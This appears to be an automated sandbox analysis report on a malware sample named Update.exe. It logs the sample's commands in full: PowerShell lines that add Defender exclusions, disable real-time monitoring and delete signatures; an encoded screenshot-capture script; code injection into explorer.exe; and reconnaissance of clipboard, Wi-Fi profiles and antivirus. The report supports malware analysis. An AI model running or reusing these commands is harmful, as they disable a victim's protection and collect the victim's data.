Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe'
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe'" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Bypasses PowerShell execution policy
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Encrypted powershell cmdline option found
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Injects code into the Windows Explorer (explorer.exe)
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Memory written: PID: 7640 base: 140000000 value: 4D
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Memory written: PID: 7640 base: 140001000 value: NU
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Memory written: PID: 7640 base: 140674000 value: DF
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Memory written: PID: 7640 base: 140847000 value: 00
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Memory written: PID: 7640 base: 1113010 value: 00
Modifies Windows Defender protection settings
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Thread register set: target process: 7680
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Thread register set: target process: 7640
Removes signatures from Windows Defender
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Users\user\Desktop\Update.exe "C:\Users\user\Desktop\Update.exe" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
